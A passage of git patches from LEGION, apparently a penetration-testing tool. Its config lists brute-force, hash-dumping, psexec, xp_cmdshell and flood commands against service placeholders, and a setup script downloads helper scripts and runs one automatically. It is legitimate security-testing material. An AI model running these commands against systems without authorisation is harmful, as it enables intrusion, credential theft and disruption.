+http-trace.nse=http-trace.nse, "nmap -Pn [IP] -p [PORT] --script=http-trace.nse --script-args=unsafe=1", "http,https" +http-traceroute.nse=http-traceroute.nse, "nmap -Pn [IP] -p [PORT] --script=http-traceroute.nse --script-args=unsafe=1", "http,https" +http-unsafe-output-escaping.nse=http-unsafe-output-escaping.nse, "nmap -Pn [IP] -p [PORT] --script=http-unsafe-output-escaping.nse --script-args=unsafe=1", "http,https" +http-useragent-tester.nse=http-useragent-tester.nse, "nmap -Pn [IP] -p [PORT] --script=http-useragent-tester.nse --script-args=unsafe=1", "http,https" +http-userdir-enum.nse=http-userdir-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-userdir-enum.nse --script-args=unsafe=1", "http,https" +http-vhosts.nse=http-vhosts.nse, "nmap -Pn [IP] -p [PORT] --script=http-vhosts.nse --script-args=unsafe=1", "http,https" +http-virustotal.nse=http-virustotal.nse, "nmap -Pn [IP] -p [PORT] --script=http-virustotal.nse --script-args=unsafe=1", "http,https" +http-vlcstreamer-ls.nse=http-vlcstreamer-ls.nse, "nmap -Pn [IP] -p [PORT] --script=http-vlcstreamer-ls.nse --script-args=unsafe=1", "http,https" +http-vmware-path-vuln.nse=http-vmware-path-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-vmware-path-vuln.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2009-3960.nse=http-vuln-cve2009-3960.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2009-3960.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2010-0738.nse=http-vuln-cve2010-0738.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-0738.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2010-2861.nse=http-vuln-cve2010-2861.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-2861.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2011-3192.nse=http-vuln-cve2011-3192.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3192.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2011-3368.nse=http-vuln-cve2011-3368.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3368.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2012-1823.nse=http-vuln-cve2012-1823.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2012-1823.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2013-0156.nse=http-vuln-cve2013-0156.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2013-0156.nse --script-args=unsafe=1", "http,https" +http-vuln-zimbra-lfi.nse=http-vuln-zimbra-lfi.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-zimbra-lfi.nse --script-args=unsafe=1", "http,https" +http-waf-detect.nse=http-waf-detect.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-detect.nse --script-args=unsafe=1", "http,https" +http-waf-fingerprint.nse=http-waf-fingerprint.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-fingerprint.nse --script-args=unsafe=1", "http,https" +http-wordpress-brute.nse=http-wordpress-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-brute.nse --script-args=unsafe=1", "http,https" +http-wordpress-enum.nse=http-wordpress-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-enum.nse --script-args=unsafe=1", "http,https" +http-wordpress-plugins.nse=http-wordpress-plugins.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-plugins.nse --script-args=unsafe=1", "http,https" +http-xssed.nse=http-xssed.nse, "nmap -Pn [IP] -p [PORT] --script=http-xssed.nse --script-args=unsafe=1", "http,https" +imap-brute.nse=imap-brute.nse, "nmap -Pn [IP] -p [PORT] --script=imap-brute.nse --script-args=unsafe=1", imap +imap-capabilities.nse=imap-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=imap-capabilities.nse --script-args=unsafe=1", imap +irc-botnet-channels.nse=irc-botnet-channels.nse, "nmap -Pn [IP] -p [PORT] --script=irc-botnet-channels.nse --script-args=unsafe=1", irc +irc-brute.nse=irc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-brute.nse --script-args=unsafe=1", irc +irc-info.nse=irc-info.nse, "nmap -Pn [IP] -p [PORT] --script=irc-info.nse --script-args=unsafe=1", irc +irc-sasl-brute.nse=irc-sasl-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-sasl-brute.nse --script-args=unsafe=1", irc +irc-unrealircd-backdoor.nse=irc-unrealircd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=irc-unrealircd-backdoor.nse --script-args=unsafe=1", irc +ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap +membase-http-info.nse=membase-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=membase-http-info.nse --script-args=unsafe=1", "http,https" +ms-sql-brute.nse=ms-sql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-brute.nse --script-args=unsafe=1", ms-sql +ms-sql-config.nse=ms-sql-config.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-config.nse --script-args=unsafe=1", ms-sql +ms-sql-dac.nse=ms-sql-dac.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dac.nse --script-args=unsafe=1", ms-sql +ms-sql-dump-hashes.nse=ms-sql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dump-hashes.nse --script-args=unsafe=1", ms-sql +ms-sql-empty-password.nse=ms-sql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-empty-password.nse --script-args=unsafe=1", ms-sql +ms-sql-hasdbaccess.nse=ms-sql-hasdbaccess.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-hasdbaccess.nse --script-args=unsafe=1", ms-sql +ms-sql-info.nse=ms-sql-info.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-info.nse --script-args=unsafe=1", ms-sql +ms-sql-query.nse=ms-sql-query.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-query.nse --script-args=unsafe=1", ms-sql +ms-sql-tables.nse=ms-sql-tables.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-tables.nse --script-args=unsafe=1", ms-sql +ms-sql-xp-cmdshell.nse=ms-sql-xp-cmdshell.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-xp-cmdshell.nse --script-args=unsafe=1", ms-sql +msrpc-enum.nse=msrpc-enum.nse, "nmap -Pn [IP] -p [PORT] --script=msrpc-enum.nse --script-args=unsafe=1", msrpc +mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s +mysql-audit.nse=mysql-audit.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-audit.nse --script-args=unsafe=1", mysql +mysql-brute.nse=mysql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-brute.nse --script-args=unsafe=1", mysql +mysql-databases.nse=mysql-databases.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-databases.nse --script-args=unsafe=1", mysql +mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql +mysql-dump-hashes.nse=mysql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-dump-hashes.nse --script-args=unsafe=1", mysql +mysql-empty-password.nse=mysql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-empty-password.nse --script-args=unsafe=1", mysql +mysql-enum.nse=mysql-enum.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-enum.nse --script-args=unsafe=1", mysql +mysql-info.nse=mysql-info.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-info.nse --script-args=unsafe=1", mysql +mysql-query.nse=mysql-query.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-query.nse --script-args=unsafe=1", mysql +mysql-users.nse=mysql-users.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-users.nse --script-args=unsafe=1", mysql +mysql-variables.nse=mysql-variables.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-variables.nse --script-args=unsafe=1", mysql +mysql-vuln-cve2012-2122.nse=mysql-vuln-cve2012-2122.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-vuln-cve2012-2122.nse --script-args=unsafe=1", mysql +nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns +nfs-ls.nse=nfs-ls.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-ls.nse --script-args=unsafe=1", nfs +nfs-showmount.nse=nfs-showmount.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-showmount.nse --script-args=unsafe=1", nfs +nfs-statfs.nse=nfs-statfs.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-statfs.nse --script-args=unsafe=1", nfs +nikto=Run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP] -C all, "http,https,ssl,soap,http-proxy,http-alt" +nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], +oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute-stealth.nse --script-args=unsafe=1", oracle +oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle +oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns +oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle +oracle-sid=Oracle SID enumeration, "msfcli auxiliary/scanner/oracle/sid_enum rhosts=[IP] E", oracle-tns' +oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle +oracle-version=Get version, "msfcli auxiliary/scanner/oracle/tnslsnr_version rhosts=[IP] E", oracle-tns +polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" +pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 +pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 +postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql +rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server +realvnc-auth-bypass.nse=realvnc-auth-bypass.nse, "nmap -Pn [IP] -p [PORT] --script=realvnc-auth-bypass.nse --script-args=unsafe=1", vnc +riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-http-info.nse --script-args=unsafe=1", "http,https" +rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind +rwho=Run rwho, rwho -a [IP], who +samba-vuln-cve-2012-1182.nse=samba-vuln-cve-2012-1182.nse, "nmap -Pn [IP] -p [PORT] --script=samba-vuln-cve-2012-1182.nse --script-args=unsafe=1", samba +samrdump=Run samrdump, python /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" +showmount=Show nfs shares, showmount -e [IP], nfs +smb-brute.nse=smb-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smb-brute.nse --script-args=unsafe=1", smb +smb-check-vulns.nse=smb-check-vulns.nse, "nmap -Pn [IP] -p [PORT] --script=smb-check-vulns.nse --script-args=unsafe=1", smb +smb-enum-admins=Enumerate domain admins (net), "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds" +smb-enum-domains.nse=smb-enum-domains.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-domains.nse --script-args=unsafe=1", smb +smb-enum-groups=Enumerate groups (nmap), "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-groups.nse=smb-enum-groups.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-groups.nse --script-args=unsafe=1", smb +smb-enum-policies=Extract password policy (nmap), "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-processes.nse=smb-enum-processes.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-processes.nse --script-args=unsafe=1", smb +smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-sessions.nse=smb-enum-sessions.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-sessions.nse --script-args=unsafe=1", smb +smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-shares.nse=smb-enum-shares.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-shares.nse --script-args=unsafe=1", smb +smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +smb-enum-users.nse=smb-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-users.nse --script-args=unsafe=1", smb +smb-flood.nse=smb-flood.nse, "nmap -Pn [IP] -p [PORT] --script=smb-flood.nse --script-args=unsafe=1", smb +smb-ls.nse=smb-ls.nse, "nmap -Pn [IP] -p [PORT] --script=smb-ls.nse --script-args=unsafe=1", smb +smb-mbenum.nse=smb-mbenum.nse, "nmap -Pn [IP] -p [PORT] --script=smb-mbenum.nse --script-args=unsafe=1", smb +smb-null-sessions=Check for null sessions (rpcclient), bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +smb-os-discovery.nse=smb-os-discovery.nse, "nmap -Pn [IP] -p [PORT] --script=smb-os-discovery.nse --script-args=unsafe=1", smb +smb-print-text.nse=smb-print-text.nse, "nmap -Pn [IP] -p [PORT] --script=smb-print-text.nse --script-args=unsafe=1", smb +smb-psexec.nse=smb-psexec.nse, "nmap -Pn [IP] -p [PORT] --script=smb-psexec.nse --script-args=unsafe=1", smb +smb-security-mode.nse=smb-security-mode.nse, "nmap -Pn [IP] -p [PORT] --script=smb-security-mode.nse --script-args=unsafe=1", smb +smb-server-stats.nse=smb-server-stats.nse, "nmap -Pn [IP] -p [PORT] --script=smb-server-stats.nse --script-args=unsafe=1", smb +smb-system-info.nse=smb-system-info.nse, "nmap -Pn [IP] -p [PORT] --script=smb-system-info.nse --script-args=unsafe=1", smb +smb-vuln-ms10-054.nse=smb-vuln-ms10-054.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-054.nse --script-args=unsafe=1", smb +smb-vuln-ms10-061.nse=smb-vuln-ms10-061.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-061.nse --script-args=unsafe=1", smb +smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" +smbv2-enabled.nse=smbv2-enabled.nse, "nmap -Pn [IP] -p [PORT] --script=smbv2-enabled.nse --script-args=unsafe=1", smb +smtp-brute.nse=smtp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-brute.nse --script-args=unsafe=1", smtp +smtp-commands.nse=smtp-commands.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-commands.nse --script-args=unsafe=1", smtp +smtp-enum-expn=Enumerate SMTP users (EXPN), smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-enum-rcpt=Enumerate SMTP users (RCPT), smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-enum-users.nse=smtp-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-enum-users.nse --script-args=unsafe=1", smtp +smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-open-relay.nse=smtp-open-relay.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-open-relay.nse --script-args=unsafe=1", smtp +smtp-strangeport.nse=smtp-strangeport.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-strangeport.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2010-4344.nse=smtp-vuln-cve2010-4344.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2010-4344.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2011-1720.nse=smtp-vuln-cve2011-1720.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1720.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2011-1764.nse=smtp-vuln-cve2011-1764.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1764.nse --script-args=unsafe=1", smtp +snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" +snmp-brute.nse=snmp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-brute.nse --script-args=unsafe=1", snmp +snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" +snmp-hh3c-logins.nse=snmp-hh3c-logins.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-hh3c-logins.nse --script-args=unsafe=1", snmp +snmp-interfaces.nse=snmp-interfaces.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-interfaces.nse --script-args=unsafe=1", snmp +snmp-ios-config.nse=snmp-ios-config.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-ios-config.nse --script-args=unsafe=1", snmp +snmp-netstat.nse=snmp-netstat.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-netstat.nse --script-args=unsafe=1", snmp +snmp-processes.nse=snmp-processes.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-processes.nse --script-args=unsafe=1", snmp +snmp-sysdescr.nse=snmp-sysdescr.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-sysdescr.nse --script-args=unsafe=1", snmp +snmp-win32-services.nse=snmp-win32-services.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-services.nse --script-args=unsafe=1", snmp +snmp-win32-shares.nse=snmp-win32-shares.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-shares.nse --script-args=unsafe=1", snmp +snmp-win32-software.nse=snmp-win32-software.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-software.nse --script-args=unsafe=1", snmp +snmp-win32-users.nse=snmp-win32-users.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-users.nse --script-args=unsafe=1", snmp +snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" +sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl" +sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp" +tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp +vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc +vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc +webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" +whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" +x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11 + +[PortTerminalActions] +firefox=Open with firefox, firefox [IP]:[PORT], +ftp=Open with ftp client, ftp [IP] [PORT], ftp +mssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" +mysql=Open with mysql client (as root), "mysql -u root -h [IP] --port=[PORT] -p", mysql +netcat=Open with netcat, nc -v [IP] [PORT], +psql=Open with postgres client (as postgres), psql -h [IP] -p [PORT] -U postgres, postgres +rdesktop=Open with rdesktop, rdesktop [IP]:[PORT], ms-wbt-server +rlogin=Open with rlogin, rlogin -i root -p [PORT] [IP], login +rpcclient=Open with rpcclient (NULL session), rpcclient [IP] -p [PORT] -U%, "netbios-ssn,microsoft-ds" +rsh=Open with rsh, rsh -l root [IP], shell +ssh=Open with ssh client (as root), ssh root@[IP] -p [PORT], ssh +telnet=Open with telnet, telnet [IP] [PORT], +vncviewer=Open with vncviewer, vncviewer [IP]:[PORT], vnc +xephyr=Open with Xephyr, Xephyr -query [IP] :1, xdmcp + +[SchedulerSettings] +ftp-default=ftp, tcp +mssql-default=ms-sql-s, tcp +mysql-default=mysql, tcp +nikto="http,https,ssl,soap,http-proxy,http-alt,https-alt", tcp +oracle-default=oracle-tns, tcp +postgres-default=postgresql, tcp +screenshooter="http,https,ssl,http-proxy,http-alt,https-alt", tcp +smbenum=microsoft-ds, tcp +smtp-enum-vrfy=smtp, tcp +snmp-default=snmp, udp +snmpcheck=snmp, udp +x11screen=X11, tcp + +[StagedNmapSettings] +stage1-ports="T:80,443" +stage2-ports="T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434" +stage3-ports="Vulners,CVE" +stage4-ports="T:23,21,22,110,111,2049,3389,8080,U:500,5060" +stage5-ports="T:0-20,24,26-79,81-109,112-134,136,138,140-442,444,446-1432,1434-2048,2050-3305,3307-3388,3390-5431,5433-8079,8081-29999" +stage6-ports="T:30000-65534,65535" + +[ToolSettings] +cutycapt-path=/usr/bin/cutycapt +hydra-path=/usr/bin/hydra +nmap-path=/usr/bin/nmap +texteditor-path=/usr/bin/leafpad diff --git a/controller/controller.py b/controller/controller.py index 4450984c..ec435b2c 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.2' - self.build = '1551210212' + self.build = '1551213682' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] @@ -526,7 +526,7 @@ def checkProcessQueue(self): if not self.fastProcessQueue.empty(): self.processTableUiUpdateTimer.start(1000) - if (self.fastProcessesRunning < int(self.settings.general_max_fast_processes)): + if (self.fastProcessesRunning <= int(self.settings.general_max_fast_processes)): next_proc = self.fastProcessQueue.get() if not self.logic.isCanceledProcess(str(next_proc.id)): log.debug('Running: '+ str(next_proc.command)) @@ -608,10 +608,8 @@ def handleProcUpdate(*vargs): self.checkProcessQueue() - # Not needed? POOP - # self.updateUITimer.stop() # update the processes table - # self.updateUITimer.start(900) # while the process is running, when there's output to read, display it in the GUI - # + self.updateUITimer.stop() # update the processes table + self.updateUITimer.start(900) # while the process is running, when there's output to read, display it in the GUI qProcess.setProcessChannelMode(QtCore.QProcess.MergedChannels) qProcess.readyReadStandardOutput.connect(lambda: qProcess.display.appendPlainText(str(qProcess.readAllStandardOutput().data().decode('ISO-8859-1')))) @@ -731,7 +729,8 @@ def processFinished(self, qProcess): self.nmapImporter.setFilename(str(newoutputfile)+'.xml') self.nmapImporter.setOutput(str(qProcess.display.toPlainText())) self.nmapImporter.start() - if qProcess.exitCode() != 0: + exitCode = qProcess.exitCode() + if exitCode != 0 and exitCode != 255: log.info("Process {qProcessId} exited with code {qProcessExitCode}".format(qProcessId=qProcess.id, qProcessExitCode=qProcess.exitCode())) self.processCrashed(qProcess) diff --git a/legion.conf b/legion.conf index 2e00f030..242bf2a3 100644 --- a/legion.conf +++ b/legion.conf @@ -9,7 +9,7 @@ store-cleartext-passwords-on-exit=True username-wordlist-path=/usr/share/wordlists/ [GUISettings] -process-tab-column-widths="125,0,74,92,67,0,124,130,0,0,0,0,0,0,0,544,100" +process-tab-column-widths="125,0,74,92,67,0,124,130,0,0,0,0,0,0,0,554,100" process-tab-detail=False [GeneralSettings] From aa53ff9ffff5d7cb17975a081a419a19ee70fcf6 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Tue, 26 Feb 2019 15:29:22 -0600 Subject: [PATCH 158/450] Minor updates --- .gitignore | 3 +++ controller/controller.py | 10 +++++----- deps/detectScripts.sh | 26 ++++++++++++++++++++++++++ ui/view.py | 5 +++-- 4 files changed, 37 insertions(+), 7 deletions(-) diff --git a/.gitignore b/.gitignore index 6932854b..2670db3a 100644 --- a/.gitignore +++ b/.gitignore @@ -115,3 +115,6 @@ scripts/ndr.py scripts/rdp-sec-check.pl scripts/smbenum.sh scripts/snmpbrute.py +scripts/installDeps.sh +scripts/smtp-user-enum.pl +scripts/snmpcheck.rb diff --git a/controller/controller.py b/controller/controller.py index ec435b2c..4c9ea2c2 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.2' - self.build = '1551213682' + self.build = '1551216508' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] @@ -92,7 +92,7 @@ def initTimers(self): # these time self.processTableUiUpdateTimer = QTimer() self.processTableUiUpdateTimer.timeout.connect(self.view.updateProcessesTableView) # Update only when queue > 0 - # self.processTableUiUpdateTimer.start(1000) # Faster than this doesn't make anything smoother + self.processTableUiUpdateTimer.start(1000) # Faster than this doesn't make anything smoother # this function fetches all the settings from the conf file. Among other things it populates the actions lists that will be used in the context menus. def loadSettings(self): @@ -540,9 +540,9 @@ def checkProcessQueue(self): elif not self.fastProcessQueue.empty(): log.debug('> next process was canceled, checking queue again..') self.checkProcessQueue() - else: - log.info("Halting process panel update timer as all processes are finished.") - self.processTableUiUpdateTimer.stop() + #else: + # log.info("Halting process panel update timer as all processes are finished.") + # self.processTableUiUpdateTimer.stop() def cancelProcess(self, dbId): log.info('Canceling process: ' + str(dbId)) diff --git a/deps/detectScripts.sh b/deps/detectScripts.sh index cb1b91bb..7e42dcea 100644 --- a/deps/detectScripts.sh +++ b/deps/detectScripts.sh @@ -36,3 +36,29 @@ if [ -a scripts/ndr.py ] else wget -v -P scripts/ https://raw.githubusercontent.com/GoVanguard/sparta-scripts/master/ndr.py fi + +if [ -a scripts/installDeps.sh ] + then + echo "installDeps.sh is already installed" +else + wget -v -P scripts/ https://raw.githubusercontent.com/GoVanguard/sparta-scripts/master/installDeps.sh +fi + +if [ -a scripts/snmpcheck.rb ] + then + echo "snmpcheck.rb is already installed" +else + wget -v -P scripts/ https://raw.githubusercontent.com/GoVanguard/sparta-scripts/master/snmpcheck.rb +fi + +if [ -a scripts/smtp-user-enum.pl ] + then + echo "smtp-user-enum.pl is already installed" +else + wget -v -P scripts/ https://raw.githubusercontent.com/GoVanguard/sparta-scripts/master/smtp-user-enum.pl +fi + +if [ ! -f ".initialized" ] + then + scripts/installDeps.sh +fi diff --git a/ui/view.py b/ui/view.py index cf9fe971..fae44fa5 100644 --- a/ui/view.py +++ b/ui/view.py @@ -48,7 +48,7 @@ def __init__(self, ui, ui_mainwindow): self.ui.splitter_2.setSizes([250, self.bottomWindowSize]) # set better default size for bottom panel self.qss = None self.processesTableViewSort = 'desc' - self.processesTableViewSortColumn = 'id' + self.processesTableViewSortColumn = 'status' self.toolsTableViewSort = 'desc' self.toolsTableViewSortColumn = 'id' @@ -955,7 +955,7 @@ def updateServiceNamesTableView(self): def setupToolsTableView(self): headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] - self.ToolsTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB(self.filters, showProcesses = 'noNmap', sort = self.processesTableViewSort, ncol = self.processesTableViewSortColumn), headers) + self.ToolsTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB(self.filters, showProcesses = 'noNmap', sort = self.toolsTableViewSort, ncol = self.toolsTableViewSortColumn), headers) self.ui.ToolsTableView.setModel(self.ToolsTableModel) def updateToolsTableView(self): @@ -1176,6 +1176,7 @@ def setupProcessesTableView(self): headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] self.ProcessesTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB(self.filters, showProcesses = True, sort = self.processesTableViewSort, ncol = self.processesTableViewSortColumn), headers) self.ui.ProcessesTableView.setModel(self.ProcessesTableModel) + self.ProcessesTableModel.sort(15, Qt.DescendingOrder) def updateProcessesTableView(self): headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] From eb1ed71400250369bf42cbe9261063e0fcc44a2d Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Tue, 26 Feb 2019 20:11:17 -0600 Subject: [PATCH 159/450] Bump to 0.3.3 --- CHANGELOG.txt | 5 +++++ 